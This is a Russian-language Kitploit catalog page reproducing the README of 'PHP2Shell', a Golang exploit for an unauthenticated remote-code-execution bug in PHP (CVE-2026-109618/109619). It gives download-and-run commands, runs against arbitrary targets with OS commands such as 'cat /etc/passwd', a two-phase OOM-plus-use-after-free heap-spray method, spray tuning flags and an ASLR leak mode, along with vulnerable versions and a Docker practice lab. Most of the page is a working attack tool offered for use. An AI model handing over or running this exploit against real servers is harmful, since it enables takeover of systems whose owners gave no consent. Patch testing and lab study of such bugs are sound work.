Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-109618-exploit — [PHP2Shell] Эксплойт на Golang для CVE-2026-109618 / CVE-2026-109619: неаутентифицированное RCE в PHP 5.4–8.5.11 через повреждение памяти при OOM + UAF в session.upload_progress | Kitploit
Инструменты/GitHubGitHub/iamlucif3r/cve-2026-109618-exploit
Криминалистика памятиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного ДоступаЛаборатории и Практика
GitHub

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
iamlucif3r/cve-2026-109618-exploit

CVE-2026-109618-exploit

[PHP2Shell] Эксплойт на Golang для CVE-2026-109618 / CVE-2026-109619: неаутентифицированное RCE в PHP 5.4–8.5.11 через повреждение памяти при OOM + UAF в session.upload_progress

Репозиторий
21 день назадЕщё не проверено

PHP2Shell — CVE-2026-109618 / CVE-2026-109619

Неаутентифицированное удалённое выполнение кода в PHP 5.4.0 – 8.5.11 (все веб-серверы).
CVSS 9.2 Critical · Исправлено 2026-10-21 · CISA KEV 2026-10-26

Только для авторизованного тестирования безопасности — на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.


Использование без клонирования

Вариант A — go install (самый быстрый, требуется Go 1.22+)

go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"

Нет Go? Установите его за 30 секунд:

# Debian / Ubuntu / Kali
sudo apt install -y golang-go

# then run go install as above

Вариант B — Загрузка готового бинарного файла (из помеченного релиза)

Готовые бинарные файлы прикреплены к каждому релизу на GitHub.

# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# Linux ARM64
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Apple Silicon
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Intel
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

Бинарные файлы собираются автоматически через GitHub Actions при отправке нового тега.
Если curl возвращает крошечный файл с надписью "Not found", значит релиза ещё нет — используйте вместо этого Вариант A.


Клонирование + запуск (со встроенной лабораторией)

git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit

make all            # start lab + run exploit in one shot
make exploit        # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"

Что это делает

В PHP есть две критичные ошибки безопасности памяти, срабатывающие при специально сформированных HTTP POST-запросах multipart/form-data:

CVEТипТриггер
CVE-2026-109618Повреждение памяти (OOM)Крупные multipart-поля исчерпывают memory_limit в середине разбора, longjmp() срабатывает на частично инициализированном состоянии
CVE-2026-109619Use-after-freeПоле PHP_SESSION_UPLOAD_PROGRESS читает освобождённую память воркера из предыдущего запроса

Ни одна из ошибок не требует входа в систему, специальной конечной точки или какого-либо кода приложения — они срабатывают внутри движка PHP до запуска любого скрипта .php.

Полный технический разбор с аннотированными HTTP-запросами см. в docs/vulnerability.md.


Как работает эксплойт

Phase 1 (CVE-2026-109618)
  Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
  → worker's internal session/decoder state freed but NOT zeroed
  → stale pointers remain in the PHP worker heap

                     same worker process ↓

Phase 2 (CVE-2026-109619)
  POST with Cookie: PHPSESSID=<random>
        + PHP_SESSION_UPLOAD_PROGRESS field  ← fires before any app code
        + 128 KB file upload (fake PHP zval structs)
  → upload progress handler dereferences stale pointer → UAF
  → heap spray reclaims freed region → controlled write → RCE

Все флаги

ФлагПо умолчаниюОписание
-targetобязательноБазовый URL, например http://192.168.1.10
-path/index.phpПуть к PHP-эндпоинту
-cmdidКоманда ОС для выполнения
-modeautoauto / modphp / fpm
-workers8Количество воркеров для спрея
-oom-parts30Multipart-полей в фазе 1
-part-size204800Байт на поле (200 КБ)
-spray-size131072Размер heap-спрея (128 КБ)
-timeout15sТаймаут на запрос
-verbosefalseВыводить сырое тело ответа
-leak-onlyfalseТолько утечка памяти (анализ ASLR)

Уязвимые версии

ВеткаПоследняя уязвимаяИсправлено в
PHP 8.28.2.348.2.35
PHP 8.38.3.358.3.36
PHP 8.48.4.268.4.27
PHP 8.58.5.118.5.12
PHP ≤ 8.1всенет upstream-патча — используйте backport из дистрибутива

Лаборатория (уязвимое окружение Docker)

Каталог sandbox/ содержит готовую уязвимую цель (PHP 8.4.26 + Apache mod_php) с настройками по умолчанию, которые делают уязвимыми обе CVE.

cd sandbox
docker compose up -d        # starts on :8888
open http://localhost:8888   # attack surface dashboard
docker compose down

Краткая справка по Makefile

make               show all commands
make all           start lab + run exploit (one shot)
make lab           start Docker lab
make lab-stop      stop Docker lab
make lab-logs      tail Apache/PHP error logs live
make lab-shell     open bash inside the container
make exploit       build & run against lab
make exploit-fpm   FPM mode, 16 workers
make leak          memory leak mode (ASLR analysis)
make build         build binary only
Скачать инструмент